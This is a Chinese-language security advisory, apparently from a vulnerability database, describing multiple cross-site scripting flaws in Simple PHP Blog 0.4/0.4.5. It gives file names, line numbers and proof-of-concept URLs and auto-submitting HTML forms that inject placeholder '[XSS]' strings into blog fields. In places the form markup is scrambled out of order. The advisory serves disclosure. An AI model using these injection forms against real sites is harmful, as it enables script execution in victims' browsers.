Simple PHP Blog多个跨站脚本漏洞
2008-10-02
系统编号:
WAVDB-00868
BUGTRAQ: 15283
影响版本:
Simple PHP Blog 0.4/0.4.5
程序介绍:
Simple PHP Blog是一个采用PHP语言编写的开放源码的免费单用户Blog程序。
漏洞分析:
Simple PHP Blog中存在多个跨站脚本漏洞,如下: 1) preview_cgi.php preview_cgi.php的第126行没有经过充分过滤便直接向浏览器显示$entry变量。登录后可通过以下URL测试: http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo">[XSS] 2) preview_cgi.php preview_cgi.php文件的第129行没有经过充分过滤便直接向浏览器显示$temp_subject变量。登录后可通过以下页面测试: <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post"> <script type="text/javascript"> 类似的漏洞也影响preview_cgi.php第158行: <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post"> <script type="text/javascript"> 3) preview_static_cgi.php preview_static_cgi.php中存在4个类似于preview_cgi.php中的漏洞: - 73行$entry变量: http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo">[XSS] - 76行$temp_subject变量: <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post"> <script type="text/javascript"> - 158行$temp_text变量: <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post"> <script type="text/javascript"> - 108行,如果没有设置$_GET['entry']的话将$temp_file_name变量设置为$_POST['file_name'],否则设置为$entry(在这种情况下请见73行的漏洞): <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post"> <script type="text/javascript"> 4) colors.php colors.php文件187行的$preset_name和$result变量存在跨站脚本漏洞: <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post"> <script type="text/javascript"> 或 <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post"> <script type="text/javascript"> 远程攻击者可以利用这些漏洞在用户浏览器中执行任意代码。
<input name="blog_subject" value='">[XSS]'/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
<input name="blog_text" value='</textarea>[XSS]'/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
<input name="blog_subject" value='">[XSS]'/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
<input name="blog_text" value='</textarea>[XSS]'/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
<input name="file_name" value='">[XSS]'/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select>[XSS]'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='">[XSS]'/>
<input type="submit"/>
</form>
document.forms[0].submit();
</script>
解决方案:
厂商补丁:
Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.simplephpblog.com/index.php
信息来源:
<*来源:Nenad Jovanovic (enji@infosys.tuwien.ac.at)
链接:http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt
*>